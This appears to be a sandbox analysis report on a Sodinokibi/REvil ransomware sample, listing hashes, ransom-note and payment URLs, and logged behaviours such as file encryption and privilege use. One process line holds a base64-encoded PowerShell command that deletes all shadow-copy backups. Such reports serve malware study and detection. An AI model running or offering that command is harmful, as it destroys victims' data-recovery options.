Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
03-02-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win10v2004-20231215-en
General
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Target
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
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Size
166KB
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MD5
44c753ed1faec948b0d98bc9ba047469
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SHA1
1aa2d575752dcfa73ea8bd2fa666e18588be353c
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SHA256
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01
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SHA512
f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0
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SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1
Malware Config
Extracted
C:\Users\5c0x4h0-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C542EFCA37223102
http://decryptor.cc/C542EFCA37223102
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process File opened (read-only) \??\L: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Q: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Z: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\H: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\M: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\R: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\F: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\I: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\P: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\X: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\E: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\V: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\N: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\W: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\D: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\A: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\K: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\O: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\S: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\T: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\U: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\B: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\G: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\J: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Y: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ab12t.bmp" 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Drops file in Program Files directory 18 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process File opened for modification \??\c:\program files\LockGrant.vb 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\MeasureRead.vstm 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\5c0x4h0-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\5c0x4h0-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files\5c0x4h0-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\5c0x4h0-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\EditApprove.ram 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RemoveWait.xlsx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RequestRead.dot 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ResolveDebug.wpl 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UndoSave.kix 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UnpublishWrite.zip 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\BackupComplete.htm 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\DebugTest.reg 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ProtectGet.dwfx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\NewRequest.cr2 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SyncSend.M2V 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\5c0x4h0-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exepid process 880 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 2200 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 880 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe Token: SeDebugPrivilege 2200 powershell.exe Token: SeBackupPrivilege 2648 vssvc.exe Token: SeRestorePrivilege 2648 vssvc.exe Token: SeAuditPrivilege 2648 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription pid process target process PID 880 wrote to memory of 2200 880 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 880 wrote to memory of 2200 880 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 880 wrote to memory of 2200 880 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 880 wrote to memory of 2200 880 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3016
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2648
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD5d09c32b2fb137d4bccc815a2478eec93
SHA1cc55f4173c01ccb6178357a86b93ae47aac143fe
SHA256f73fe494c0c4694e4ab1cb1c84fe87a147b8bb2ea14d20acbbae620ee3a19001
SHA512c12db32593c279f5ac56a37220fd802a4bd8f06f7070d009c481a72080df8acfe2333c3f01d17caf264a1a66ab30ace99c57fe5563b269a450c413b3ef753d4c